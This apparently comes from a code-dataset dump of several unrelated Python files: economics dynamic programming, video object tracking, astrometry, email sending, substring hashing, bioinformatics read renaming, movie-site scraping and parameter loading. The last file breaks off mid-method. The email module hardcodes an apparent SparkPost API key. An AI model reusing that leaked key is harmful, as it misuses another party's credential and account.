expect_2=f_p(x,1)*u_p(f(x,1)-PL(x,Kgrid,Kp[:,1]))\n expect=.5*expect_1+.5*expect_2\n V=u_p(f(Kgrid[j],l)-x)-beta*expect\n return V\n\ncrit,itera=1,0\nKp=Kmin*np.ones([nbk,nba])\n\nwhile crit>epsi:\n Kp_new=np.zeros([nbk,nba])\n R=np.zeros([nbk,nba])\n for j in range(nbk):\n for l in range(2):\n obj_1=lambda x: g(f,f_p,u_p,PL,Kgrid,Kp,x,j,l)\n Kp_new[j,l]=eqsolver(obj_1,Kp[j,l]).x\n R[j,l]=obj_1(Kp_new[j,l])\n crit=np.max(np.abs(Kp_new-Kp))\n Kp=Kp_new*1.\n itera=itera+1\n\nC=np.zeros([nbk,nba])\nfor i in range(nbk): \n for j in range(nba):\n C[i,j]=f(Kgrid[i],j)-Kp_new[i,j]\n \n \n \nfrom matplotlib import pyplot as plt \n\nplt.figure(1,figsize=(10, 5))\nplt.subplot(121)\nplt.plot(Kgrid,Kp_new[:,0]) \nplt.plot(Kgrid,Kp_new[:,1]) \nplt.xlabel(r'$k_t$')\nplt.ylabel(r'$K_{t+1}$')\nplt.title('Investment')\n\nplt.subplot(122)\nplt.plot(Kgrid,C[:,0]) \nplt.plot(Kgrid,C[:,1]) \nplt.xlabel(r'$k_t$')\nplt.ylabel('C')\nplt.title('Consumption')\n ","sub_path":"Econ/Wk1_DP/pbs2ex1.py","file_name":"pbs2ex1.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"177826401","text":"from modules_actdet.data_reader import DataReader\n\nimport sys\nimport cv2 \nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time\n\nif (len(sys.argv) < 3):\n print(\"Less than 3 arguments\")\n print(\"Argument 1: original/serving\")\n print(\"Argument 2: deepsort_reid/resnet_reid\")\n exit()\n\nif sys.argv[1] == 'original' or sys.argv[1] == 'serving': \n MODE = sys.argv[1] \nelse:\n print(\"Argument 1 invalid, pass original/serving\")\n exit()\n\nif sys.argv[2] == 'deepsort_reid' or sys.argv[2] == 'resnet_reid': # 2 REID variants - deepsort_reid or resnet_reid\n TRACKER = sys.argv[2]\nelse:\n print(\"Argument 2 invalid, pass deepsort_reid/resnet_reid\")\n exit()\n\n# TF version\nif (MODE == \"original\"):\n from modules_actdet.object_detector_ssd_mobilenet import SSD\n from modules_actdet.reid_extractor import FeatureExtractor # Only TF version is available\n from modules_actdet.reid_extractor_resnet import FeatureExtractor2\n from modules_actdet.tracker_deepsort import DeepSort\n\n# TF serving version \nelif (MODE == \"serving\"):\n from modules_actdet.object_detector_ssd_mobilenet_serving import SSD\n from modules_actdet.reid_extractor_serving import FeatureExtractor\n from modules_actdet.reid_extractor_resnet_serving import FeatureExtractor2\n from modules_actdet.tracker_deepsort import DeepSort\n\n# ============ Video Input Modules ============\nreader = DataReader()\nreader.Setup(\"./video/indoor_two_ppl.avi\")\n\n# ============ Object Detection Modules ============\nssd = SSD()\nssd.Setup()\n\nobject_detector = ssd\n\n# ============ Tracking Modules ============\nif TRACKER == \"deepsort_reid\":\n feature_extractor = FeatureExtractor()\nelse:\n feature_extractor = FeatureExtractor2()\nfeature_extractor.Setup()\n\ndeepsort = DeepSort()\ndeepsort.Setup()\n\ntracker = deepsort\n\ntrack_output = \"./video/tracker_{}_{}.avi\".format(TRACKER, MODE)\n\nwidth = int(reader.cap.get(cv2.CAP_PROP_FRAME_WIDTH))\nheight = int(reader.cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\nfps = int(reader.cap.get(cv2.CAP_PROP_FPS))\nfourcc = int(reader.cap.get(cv2.CAP_PROP_FOURCC))\ntrack_out = cv2.VideoWriter(track_output, fourcc, fps, (width, height))\n\n#initialize color map\ncmap = plt.get_cmap('tab20b')\ncolors = [cmap(i)[:3] for i in np.linspace(0, 1, 20)]\nfps = 0.0\n\ntry:\n\n while(True):\n\n t1 = time.time()\n # Read input\n frame_data = reader.PostProcess()\n if not frame_data: # end of video \n break \n\n # Obj detection module\n object_detector.PreProcess(frame_data)\n object_detector.Apply()\n obj_det_data = object_detector.PostProcess()\n\n # Tracking module\n feature_extractor.PreProcess(obj_det_data)\n feature_extractor.Apply()\n feature_data = feature_extractor.PostProcess()\n\n # for feat in feature_data['meta']['obj']:\n # print(feat['feature'].shape)\n\n tracker.PreProcess(feature_data)\n tracker.Apply()\n track_data = tracker.PostProcess()\n\n fps = ( fps + (1./(time.time()-t1)) ) / 2\n\n img = track_data['img']\n frame_id = track_data['meta']['frame_id']\n\n for track in track_data['meta']['obj']:\n left, top, width, height = track['box']\n bbox = [top, left, top + height, left + width]\n track_id = track['tid']\n color = colors[int(track_id) % len(colors)]\n color = [i * 255 for i in color]\n cv2.rectangle(img, (int(bbox[0]), int(bbox[1])), (int(bbox[2]), int(bbox[3])), color, 2)\n cv2.rectangle(img, (int(bbox[0]), int(bbox[1]-30)), (int(bbox[0])+(len(\"Track ID: \") + len(str(track_id)))*17, int(bbox[1])), color, -1)\n cv2.putText(img, \"Track ID: \" + str(track_id),(int(bbox[0]), int(bbox[1]-10)),0, 0.75, (255,255,255), 2)\n\n cv2.putText(img, \"FPS: {:.2f}\".format(fps), (0, 30),\n cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (0, 0, 255), 2)\n\n if track_out:\n track_out.write(img)\n\n # print(type(track_data))\n\nexcept KeyboardInterrupt:\n if track_out:\n track_out.release()","sub_path":"pipeline_new_reid.py","file_name":"pipeline_new_reid.py","file_ext":"py","file_size_in_byte":4083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"374200703","text":"#################################################################\n# Name: Astrometry.py #\n# Author: Yuan Qi Ni #\n# Version: August 25, 2016 #\n# Function: Program contains functions that perform essential #\n# astrometric tasks. #\n#################################################################\n\n#essential modules\nimport numpy as np\nfrom astropy.time import Time, TimeDelta\nfrom astropy.coordinates import SkyCoord, EarthLocation, AltAz, get_moon\n\n#function: converts isot time to day of year float\ndef isot_day(time):\n #create astropy time object\n time = Time(time, format='isot', scale='utc')\n #set reference time\n t_ref = \"2015-01-01T00:00:00.000\"\n t_ref = Time(t_ref, format='isot', scale='utc')\n #return day of year\n return float((time - t_ref).value)\n\n#function: converts day of year float to isot time\ndef day_isot(day, year):\n #create astropy time object\n t_ref = str(year)+\"-01-01T00:00:00.000\"\n t_ref = Time(t_ref, format='isot', scale='utc')\n #create astropy time difference object\n t_diff = TimeDelta(day, format='jd')\n #return isot time\n return (t_ref+t_diff).value\n\n#function: return RA and DEC of the moon at utc isot time, location\ndef moonEQC(time, loc):\n t = Time(time, format='isot', scale='utc')\n l = EarthLocation.from_geodetic(*loc)\n eq = get_moon(t,l,'de430')\n aa = eq.transform_to(AltAz(obstime=t, location=l))\n RA, DEC = eq.ra.degree, eq.dec.degree\n return RA, DEC\n\n#function: return Alt and Az of the moon at utc isot time, location\ndef moonLC(time, loc):\n t = Time(time, format='isot', scale='utc')\n l = EarthLocation.from_geodetic(*loc)\n eq = get_moon(t,l,'de430')\n lc = eq.transform_to(AltAz(obstime=t, location=l))\n ALT, AZ = lc.alt.degree, lc.az.degree\n return ALT, AZ\n\n#function: return separation angle between sky coordinates\ndef sepAngle(coord1, coord2):\n coord1 = SkyCoord(*coord1, unit='deg')\n coord2 = SkyCoord(*coord2, unit='deg')\n return coord1.separation(coord2).degree\n\n#function: returns separation angle on single plate (<1deg)\ndef smallAngle(coord1, coord2):\n da = coord1[0] - coord2[0]\n dd = coord1[1] - coord2[1]\n d = 0.5*(coord1[1] + coord2[1])\n return np.sqrt(np.square(da*np.cos(d*np.pi/180.0))+np.square(dd))\n","sub_path":"Processing/Astrometry.py","file_name":"Astrometry.py","file_ext":"py","file_size_in_byte":2427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"33788045","text":"from sparkpost import SparkPost\nimport os\nimport base64\n\nsp = SparkPost('5efd48345aafa3f13594f2501ef2decdf0e5867a')\nfrom_email = 'test@'+'sparkpostbox.com'\n\n# to = \"RyanMa21021@gmail.com\"\n# subject = \"Weekly Check-in\"\n# encoded_image = base64.b64encode(open('image.png', 'rb').read()).decode('utf-8')\n# body = 'Here is your inline image!
'\n\n\ndef spark_email(to, subject, body, from_email=from_email):\n response = sp.transmission.send(\n recipients=[to],\n html=body,\n from_email=from_email,\n subject=subject)\n if response['total_rejected_recipients'] == 0:\n return True\n else:\n return response","sub_path":"sparkemail.py","file_name":"sparkemail.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"534296499","text":"class Solution:\n def countDistinct(self, s: str) -> int:\n n = len(s)\n p = 53\n m = 10 ** 9 + 9\n\n # Pre-computing the powers of 31\n power_mod = [1]\n for i in range(1, n):\n power_mod.append((power_mod[-1] * p) % m)\n\n print(power_mod)\n # Basically doing hash-values in prefix sum\n hash_values = [0] * (n + 1)\n for i in range(n):\n hash_values[i + 1] = (\n hash_values[i] + (ord(s[i]) - ord(\"a\") + 1) * power_mod[i]\n ) % m\n print(\"The hash-values are:\", hash_values)\n\n # Actual solution starts here\n\n count = 0\n n = len(s)\n for length in range(1, n + 1):\n\n result_set = set()\n\n for i in range(0, n - length + 1):\n string = s[i : i + length]\n # print(\"The value of length \",length, i)\n # print(\"The string is:\", string)\n current_hash = (hash_values[i + length] + m - hash_values[i]) % m\n current_hash = (current_hash * power_mod[n - i - length]) % m\n result_set.add(current_hash)\n\n # print(f\"The result is: {result_set}\")\n count += len(result_set)\n # print(\"The number of unique substrings is:\", count)\n return count\n","sub_path":"src/1698_number_of_distinct_substrings_in_a_string.py","file_name":"1698_number_of_distinct_substrings_in_a_string.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"80616782","text":"\nimport numpy as np\nfrom pypad.read import enforce_raw_img_shape\n\n\ndef update_average(n, A, B):\n \"\"\"\n updates a numpy matrix A that represents an average over the previous n-1 shots\n by including B into the average, B being the nth shot\n \"\"\"\n if n == 0:\n A += B\n else:\n A *= (n-1)/float(n)\n A += (1.0/float(n))*B\n return\n\n \nclass RadialAverager(object):\n \n def __init__(self, q_values, mask, n_bins=101):\n \"\"\"\n Parameters\n ----------\n q_values : np.ndarray (float)\n For each pixel, this is the momentum transfer value of that pixel\n mask : np.ndarray (int)\n A boolean (int) saying if each pixel is masked or not\n n_bins : int\n The number of bins to employ. If `None` guesses a good value.\n \"\"\"\n \n self.q_values = enforce_raw_img_shape(q_values)\n self.mask = enforce_raw_img_shape(mask).astype(np.int)\n self.n_bins = n_bins\n \n # figure out the number of bins to use\n if n_bins != None:\n self.n_bins = n_bins\n self._bin_factor = float(self.n_bins-1) / self.q_values.max()\n else:\n self._bin_factor = 25.0\n self.n_bins = (self.q_values.max() * self._bin_factor) + 1\n \n self._bin_assignments = np.floor( q_values * self._bin_factor ).astype(np.int32)\n self._normalization_array = (np.bincount( self._bin_assignments.flatten(), weights=self.mask.flatten() ) \\\n + 1e-100).astype(np.float)\n\n assert self.n_bins == self._bin_assignments.max() + 1\n self._normalization_array = self._normalization_array[:self.n_bins]\n \n return\n \n def __call__(self, image):\n \"\"\"\n Bin pixel intensities by their momentum transfer.\n Parameters\n ----------\n image : np.ndarray\n The intensity at each pixel, same shape as pixel_pos\n\n\n Returns\n -------\n bin_centers : ndarray, float\n The q center of each bin.\n\n bin_values : ndarray, int\n The average intensity in the bin.\n \"\"\"\n\n image = enforce_raw_img_shape(image)\n \n if not (image.shape == self.q_values.shape):\n raise ValueError('`image` and `q_values` must have the same shape')\n if not (image.shape == self.mask.shape):\n raise ValueError('`image` and `mask` must have the same shape')\n\n weights = image.flatten() * self.mask.flatten()\n bin_values = np.bincount(self._bin_assignments.flatten(), weights=weights)\n bin_values /= self._normalization_array\n \n assert bin_values.shape[0] == self.n_bins\n \n return bin_values\n\n @property\n def bin_centers(self):\n return np.arange(self.n_bins) / self._bin_factor\n \n","sub_path":"psanamon/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"125286682","text":"#!/usr/bin/python3\nimport sys\nimport re\nimport os\nfrom optparse import OptionParser\n\"\"\"Illumina sequence identifiers\nSequences from the Illumina software use a systematic identifier:\n@HWUSI-EAS100R:6:73:941:1973#0/1\nHWUSI-EAS100R\tthe unique instrument name\n6\tflowcell lane\n73\ttile number within the flowcell lane\n941\t'x'-coordinate of the cluster within the tile\n1973\t'y'-coordinate of the cluster within the tile\n#0\tindex number for a multiplexed sample (0 for no indexing)\n/1\tthe member of a pair, /1 or /2 (paired-end or mate-pair reads only)\nVersions of the Illumina pipeline since 1.4 appear to use #NNNNNN instead of #0 for the multiplex ID, where NNNNNN is the sequence of the multiplex tag.\n\nIn This script names can be either a simple count or the 'numbers' referring to the flowcell etc.\n\"\"\"\n\ndef main():\n parser = OptionParser()\n parser.add_option(\"-i\", \"--input\", metavar = \"input\", action = \"store\",\n type=\"string\", dest = \"input\", \n help = \"input fastq default is STDIN\")\n parser.add_option(\"-o\", \"--output\", metavar = \"output\", action = \"store\",\n type=\"string\", dest = \"output\", \n help = \"Specify output file, default is STDOUT\")\n parser.add_option(\"-g\", \"--genotype\", action = \"store\", \n type=\"string\", default = \"\" , dest = \"genotype\", \n help = \"Optional genotype code preceding read names GTYPE_Read1\")\n parser.add_option(\"-n\", \"--number\", metavar=\"number\", action=\"store_true\", \n default=\"0\", dest=\"number\", help=\"Rename sequence identifiers to numbers\")\n parser.add_option(\"-k\", \"--keep\", metavar=\"number\", action=\"store_true\"\n , dest=\"id\", \n help=\"Rename sequence identifiers keeping Illumina flowcell,tile and coordinates\") \n return parser\n\ndef parse_fastq(line, index, end):\n if not index:\n while line:\n try:\n if line.startswith('@'):\n index += 1\n file_out.write('@%s%s%s\\n'%(genotype, index, end))\n file_out.write(next(file_in))\n line = next(file_in)\n else:\n pass\n #raise ValueError\n if line.startswith('+'):\n file_out.write('+%s%s%s\\n'%(genotype, index, end))\n file_out.write(file_in.next())\n line = next(file_in)\n else:\n pass\n #raise ValueError\n except StopIteration:\n break\n else:\n while line:\n try:\n if line.startswith('@'):\n index = ':'.join(line.split('#')[0].split(':')[1:-1])\n file_out.write('@%s%s%s\\n'%(genotype, index, end))\n file_out.write(next(file_in))\n line = next(file_in)\n else:\n pass\n #raise ValueError\n if line.startswith('+'):\n file_out.write('+%s%s%s\\n'%(genotype, index, end))\n file_out.write(next(file_in))\n line = next(file_in)\n else:\n pass\n #raise ValueError\n except StopIteration:\n break\ndef parse_fasta(line, index):\n while line:\n try:\n if line.startswith('>'):\n index += 1\n file_out.write('>%s%s\\n'%(genotype, index))\n file_out.write(next(file_in))\n line = next(file_in)\n else:\n file_out.write(line)\n line = next(file_in)\n pass\n #raise ValueError\n except StopIteration:\n break\n\nif __name__ == \"__main__\":\n parser = main()\n opts, args = parser.parse_args()\n if opts.input:\n file_in = open(opts.input, 'r')\n else:\n file_in = sys.stdin\n if opts.output:\n file_out = open(opts.output, 'w')\n else:\n file_out = sys.stdout\n if opts.genotype == 'chr':\n genotype = \"%s\"%(opts.genotype)\n elif opts.genotype:\n genotype = \"%s_\"%(opts.genotype)\n else:\n genotype = ''\n if int(opts.number):\n index = 0\n elif opts.id:\n index = 1\n try:\n line = next(file_in)\n if line.startswith('>'):\n index = 0 # For fasta no Illumina names are available\n parse_fasta(line, index)\n elif line.startswith('@') and line.endswith('/1\\n') or line.endswith('/2\\n'):\n end = line[-3:-1]\n parse_fastq(line, index, end)\n elif line.startswith('@') :\n end = ''\n parse_fastq(line, index, end)\n else:\n print (\"File not recognized, is it a value FASTA/Q file\")\n \n except StopIteration:\n print (\"Please provide a non-empty file\")\n \n\n","sub_path":"src/de_novo_reference_creation/rename_fast.py","file_name":"rename_fast.py","file_ext":"py","file_size_in_byte":5021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"152466968","text":"import dateutil.parser\nimport requests\nimport time, os\nimport re\n\nfrom bs4 import BeautifulSoup\nfrom urllib.parse import urljoin\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\nchromedriver = \"/usr/bin/chromedriver\" # path to the chromedriver executable\nos.environ[\"webdriver.chrome.driver\"] = chromedriver\n\ndef money_to_int(moneystring):\n if type(moneystring) != float:\n moneystring = moneystring.replace('$', '').replace(',', '')\n return int(moneystring)\n\ndef runtime_to_minutes(runtimestring):\n if runtimestring != None:\n runtime = runtimestring.split()\n try:\n minutes = int(runtime[0])*60 + int(runtime[2])\n return minutes\n except:\n return None\n\ndef to_date(datestring):\n if datestring:\n date = dateutil.parser.parse(datestring)\n else:\n date = None\n return date\n\ndef get_movie_value(soup, field_name):\n\n '''Grab a value from Box Office Mojo HTML\n\n Takes a string attribute of a movie on the page and returns the string in\n the next sibling object (the value for that attribute) or None if nothing is found.\n '''\n\n obj = soup.find(text=re.compile(field_name))\n if not obj:\n return None\n\n # this works for most of the values\n next_element = obj.findNext()\n if next_element:\n return next_element.text\n else:\n return None\n\ndef get_movie_dict(link):\n '''\n From BoxOfficeMojo link stub, request movie html, parse with BeautifulSoup, and\n collect\n - title\n - domestic gross\n - runtime\n - MPAA rating\n - full release date\n Return information as a dictionary.\n '''\n\n base_url = 'https://www.boxofficemojo.com'\n\n #Create full url to scrape\n url = base_url + link\n\n #Request HTML and parse\n response = requests.get(url)\n page = response.text\n soup = BeautifulSoup(page,\"lxml\")\n\n\n headers = ['movie_title', 'domestic_total_gross',\n 'runtime_minutes', 'rating', 'release_date', 'budget']\n\n #Get title\n title_string = soup.find('title').text\n title = title_string.split('-')[0].strip()\n\n #Get domestic gross\n try:\n raw_domestic_total_gross = (soup.find(class_='mojo-performance-summary-table')\n .find_all('span', class_='money')[0]\n .text\n )\n except:\n raw_domestic_total_gross = float(\"NaN\")\n\n if type(raw_domestic_total_gross) == float or type(raw_domestic_total_gross) == 'NoneType':\n print('This is NaN')\n domestic_total_gross = float(\"NaN\")\n else:\n domestic_total_gross = money_to_int(raw_domestic_total_gross)\n\n #Get runtime\n raw_runtime = get_movie_value(soup,'Running')\n if type(raw_runtime) != float and type(raw_runtime) != 'NoneType':\n runtime = runtime_to_minutes(raw_runtime)\n\n #Get rating\n rating = get_movie_value(soup,'MPAA')\n\n #Get release date\n if '-' in get_movie_value(soup, 'Release Date'):\n raw_release_date = get_movie_value(soup,'Release Date').split('-')[0]\n elif '(' in get_movie_value(soup, 'Release Date'):\n raw_release_date = get_movie_value(soup,'Release Date').split('(')[0]\n else:\n raw_release_date = get_movie_value(soup,'Release Date').split('(')[0]\n release_date = to_date(raw_release_date)\n\n\n\n # Get budget alt\n raw_budget = get_movie_value(soup,'Budget')\n if raw_budget:\n budget = money_to_int(raw_budget)\n else:\n budget = 0\n\n #Create movie dictionary and return\n movie_dict = dict(zip(headers,[title,\n domestic_total_gross,\n runtime,\n rating,\n release_date,\n budget]))\n\n return movie_dict\n\ndef magic_movie_title(title):\n words = title.split(' ')\n return \"%20\".join(words)\n\ndef get_selenium_dict(driver):\n current_url = driver.current_url\n response = requests.get(current_url)\n page = response.text\n soup = BeautifulSoup(page,\"lxml\")\n headers = ['movie_title', 'domestic_total_gross',\n 'runtime_minutes', 'rating', 'budget']\n\n #Get title\n title_string = soup.find('title').text\n title = title_string.split('-')[0].strip()\n\n #Get domestic gross\n try:\n raw_domestic_total_gross = (soup.find(class_='mojo-performance-summary-table')\n .find_all('span', class_='money')[0]\n .text\n )\n except:\n raw_domestic_total_gross = float(\"NaN\")\n\n if raw_domestic_total_gross == None or type(raw_domestic_total_gross) == float:\n domestic_total_gross = float(\"NaN\")\n else:\n domestic_total_gross = money_to_int(raw_domestic_total_gross)\n\n #Get runtime\n raw_runtime = get_movie_value(soup,'Running')\n if type(raw_runtime) != float and raw_runtime != None:\n runtime = runtime_to_minutes(raw_runtime)\n else:\n runtime = raw_runtime\n\n #Get rating\n rating = get_movie_value(soup,'MPAA')\n\n #Get release date\n\n # try:\n # raw_release_date\n # if '-' in get_movie_value(soup, 'Release Date'):\n # raw_release_date = get_movie_value(soup,'Release Date').split('-')[0]\n # elif '(' in get_movie_value(soup, 'Release Date'):\n # raw_release_date = get_movie_value(soup,'Release Date').split('(')[0]\n # elif '\\n' in get_movie_value(soup, 'Release Date'):\n # raw_release_date = get_movie_value(soup,'Release Date').split('\\n')[0]\n # except:\n # raw_release_date = None\n #\n # release_date = to_date(raw_release_date)\n\n # Get budget alt\n obj = soup.find(text=re.compile('Budget'))\n if not obj:\n obj = None\n if obj:\n next_element = obj.findNext()\n else:\n next_element = None\n if next_element:\n raw_budget = next_element.text\n else:\n raw_budget = None\n if raw_budget != None:\n budget = money_to_int(raw_budget)\n else:\n budget = 0\n\n #Create movie dictionary and return\n movie_dict = dict(zip(headers,[title,\n domestic_total_gross,\n runtime,\n rating,\n budget]))\n print(movie_dict)\n return movie_dict\n\ndef get_movie_dict2(link):\n\n base_url = 'https://www.rottentomatoes.com'\n\n #Create full url to scrape\n url = base_url + link\n\n #Request HTML and parse\n response = requests.get(url)\n page = response.text\n soup = BeautifulSoup(page,\"lxml\")\n\n\n headers = ['Movie Title', 'Tomatometer', 'Tomatometer Count',\n 'Audience Score', 'Verified Ratings']\n\n #Get title\n title_string = soup.find('title').text\n title = title_string.split('(')[0]\n print(title)\n\n #Get ratings\n try:\n tomato_rating_div = soup.find('div', class_='mop-ratings-wrap__half')\n tomato_score = (tomato_rating_div\n .find(class_='mop-ratings-wrap__percentage')\n .text\n .strip()\n .split('%')[0]\n )\n print(tomato_score)\n\n audience_rating_div = soup.find('div', class_= 'mop-ratings-wrap__half audience-score')\n audience_percent = (audience_rating_div\n .find(class_='mop-ratings-wrap__percentage')\n .text\n .strip()\n .split('%')[0]\n )\n print(audience_percent)\n\n except:\n tomato_score, audience_percent = 'No score', 'No score'\n\n#Get number of ratings\n try:\n tomato_count_div = soup.find('div', class_='mop-ratings-wrap__review-totals')\n tomato_count = (tomato_rating_div\n .find(class_='mop-ratings-wrap__text--small')\n .text\n .strip()\n .split(':')[-1]\n )\n print(tomato_count)\n\n audience_count_div = soup.find('div', class_= 'mop-ratings-wrap__review-totals mop-ratings-wrap__review-totals--not-released')\n\n audience_count = (audience_rating_div\n .find(class_='mop-ratings-wrap__text--small')\n .text\n .strip()\n .split(':')[-1]\n )\n print(audience_count)\n\n except:\n tomato_score, audience_percent = 'No score', 'No score'\n\n #Get runtime\n raw_runtime = get_movie_value(soup,'Running')\n if type(raw_runtime) != float and type(raw_runtime) != 'NoneType':\n runtime = runtime_to_minutes(raw_runtime)\n\n #Get rating\n rating = get_movie_value(soup,'MPAA')\n\n #Get release date\n if '-' in get_movie_value(soup, 'Release Date'):\n raw_release_date = get_movie_value(soup,'Release Date').split('-')[0]\n elif '(' in get_movie_value(soup, 'Release Date'):\n raw_release_date = get_movie_value(soup,'Release Date').split('(')[0]\n else:\n raw_release_date = get_movie_value(soup,'Release Date').split('(')[0]\n release_date = to_date(raw_release_date)\n\n\n\n # Get budget alt\n raw_budget = get_movie_value(soup,'Budget')\n budget = money_to_int(raw_budget)\n\n #Create movie dictionary and return\n movie_dict = dict(zip(headers,[title,\n domestic_total_gross,\n runtime,\n rating,\n release_date,\n budget]))\n\n return movie_dict\n","sub_path":"2 - Predicting Movie Sales from Metacritic Reviews/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":9949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"467010339","text":"# Project: SaintAttila\n# Package: attila.params\n# File: attila/params.py\n# Author: Nick Denman\n# Reviewer:\n# DevStart: 2012-11-16\n# QCStart: 2012-11-16\n# Publish: 2015-05-12\n# Purpose: Implement the Parameters class for accessing global, script, and profile parameters.\n# Modified:\n# 2014-10-21, Aaron Hosford: Added _Replace method and used it to modify GetLocalParam\n# so that when %script_path% etc. are used, it doesn't lowercase the entire\n# parameter value when bLowercase is set to False. Reviewed: Kurtis Hage\n# 5/12/2015, Aaron Hosford: Code cleanup.\n# - Renamed BaseParams to Parameters.\n# - Refactored code.\n# - Eliminated hardcoded references to specific keys.\n# 5/13/2015, Aaron Hosford: Code cleanup.\n# - Got rid of artificial distinction between global vs. script vs. profile parameters.\n# - Added special keywords 'local' and 'global' which can be passed in as the param_path\n# value for special pre-defined parameter file locations. Global parameters now load\n# from the \".attila\" sub-folder in the \"home\" directory (\"~\" on Unix/Linux,\n# \"C:\\Users\\\" on Windows), while local parameters still load from the \"parameters\"\n# folder in the script path.\n# - Added mechanisms for refreshing/auto-refreshing parameter values, parameter\n# inheritance, and type-casting and default values using the get() method.\n\nimport os\nimport sys\n\nimport attila\n\n\nclass Parameters:\n @staticmethod\n def _replace(original, match, replace):\n \"\"\"Replaces occurrences of match in original with replace, without lower-casing the entire string.\"\"\"\n match = match.lower()\n result = ''\n while True:\n index = original.lower().find(match)\n if index == -1: # Not found\n break\n result += original[:index] + replace\n original = original[index + len(match):]\n result += original\n return result\n\n @classmethod\n def substitute(cls, value, substitutions):\n if isinstance(substitutions, dict):\n substitutions = sorted(substitutions.keys())\n\n while True:\n unaltered = value\n for match, replace in substitutions:\n value = cls._replace(value, match, replace)\n if unaltered == value:\n return value\n\n @classmethod\n def parse_parameter_file(cls, path, substitutions=None):\n parameter_values = {}\n for line in open(path):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n pieces = line.split('=')\n name = pieces.pop(0).strip()\n value = '='.join(pieces).strip()\n if name in parameter_values:\n raise KeyError(\"Duplicate parameter names: \" + name)\n if substitutions:\n value = cls.substitute(value, substitutions)\n parameter_values[name] = value\n return parameter_values\n\n def __init__(self, param_path=None, auto_refresh=False, substitutions=None, parent=None):\n \"\"\" Load parameter file and parse to find passed value's data\"\"\"\n\n if parent is not None and not isinstance(parent, Parameters):\n raise TypeError(parent)\n\n if param_path is None or param_path == 'global':\n param_path = attila.GLOBAL_PARAMS_PATH\n elif param_path == 'local':\n param_path = attila.LOCAL_PARAMS_PATH\n elif os.path.isdir(param_path):\n param_path = os.path.join(param_path, os.path.basename(attila.LOCAL_PARAMS_PATH))\n\n if substitutions is None:\n substitutions = {\n '{python_path}': attila.PYTHON_PATH,\n '{script_path}': attila.SCRIPT_PATH,\n '{global_param_path}': attila.GLOBAL_PARAMS_PATH,\n '{local_param_path}': attila.LOCAL_PARAMS_PATH,\n '{log_path}': attila.LOG_PATH,\n\n '{python_loc}': os.path.dirname(attila.PYTHON_PATH),\n '{script_loc}': os.path.dirname(attila.SCRIPT_PATH),\n '{global_param_loc}': os.path.dirname(attila.GLOBAL_PARAMS_PATH),\n '{local_param_loc}': os.path.dirname(attila.LOCAL_PARAMS_PATH),\n '{log_loc}': os.path.dirname(attila.LOG_PATH),\n\n '{python_name}': os.path.basename(attila.PYTHON_PATH),\n '{script_name}': os.path.basename(attila.SCRIPT_PATH),\n '{global_param_name}': os.path.basename(attila.GLOBAL_PARAMS_PATH),\n '{local_param_name}': os.path.basename(attila.LOCAL_PARAMS_PATH),\n '{log_name}': os.path.basename(attila.LOG_PATH),\n }\n\n self._param_path = param_path\n self._parameter_values = None\n self._auto_refresh = bool(auto_refresh)\n self._substitutions = substitutions\n self._parent = parent\n\n def refresh(self, recursive=False):\n \"\"\"Clear the parameter values and reload them next time one is requested. If recursive is set, the parent and\n other ancestors are also refreshed.\"\"\"\n self._parameter_values = None\n if recursive and self._parent:\n self._parent.refresh(True)\n\n def _get_parameter_values(self):\n \"\"\"Load the parameter dictionary, if necessary, respecting the various rules regarding inheritance and\n refreshes. Return it once it has been constructed.\"\"\"\n parameter_values = self._parameter_values\n if parameter_values is None:\n parameter_values = self.parse_parameter_file(self._param_path, self._substitutions)\n if not self._auto_refresh:\n self._parameter_values = parameter_values\n if self._parent:\n combined_parameter_values = self._parent._get_parameter_values().copy()\n combined_parameter_values.update(parameter_values)\n parameter_values = combined_parameter_values\n return parameter_values\n\n def __contains__(self, name):\n return name in self._get_parameter_values()\n\n def __getitem__(self, name):\n return self._get_parameter_values()[name]\n\n def __len__(self):\n return len(self._get_parameter_values())\n\n def __iter__(self):\n return iter(self._get_parameter_values())\n\n def get(self, name, default=None, cast=None):\n \"\"\"If a parameter by the given name exists, return its value; otherwise, return the default. If cast is\n provided, it must be a function which the value is passed through provided it is set.\n\n Examples:\n # If a port is defined in the parameters, cast it to an int before returning.\n # Otherwise, return None.\n port = parameters.get('port', cast=int)\n\n # If a retry count is defined in the parameters, cast it to an int before returning.\n # Otherwise, return 0.\n retry_count = parameters.get('retry_count', default=0, cast=int)\n \"\"\"\n parameter_values = self._get_parameter_values()\n if name in parameter_values:\n value = parameter_values[name]\n if not value:\n value = default\n elif cast:\n value = cast(value)\n return value\n else:\n return default\n","sub_path":"attila/params.py","file_name":"params.py","file_ext":"py","file_size_in_byte":7422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"479573041","text":"from osv import fields, osv\nfrom tools.translate import _\n\n\nclass res_partner(osv.osv):\n _description ='Partner'\n _name = 'res.partner'\n _inherit='res.partner' \n\n def _newcode_suggest(self,cr,uid,context={}):\n selection=[]\n#New code HCM\n cr.execute(\"Select newcode from vwnewcode_partner\")\n for x in cr.fetchall(): \n selection.append((x[0],x[0]))\n return selection\n \n def 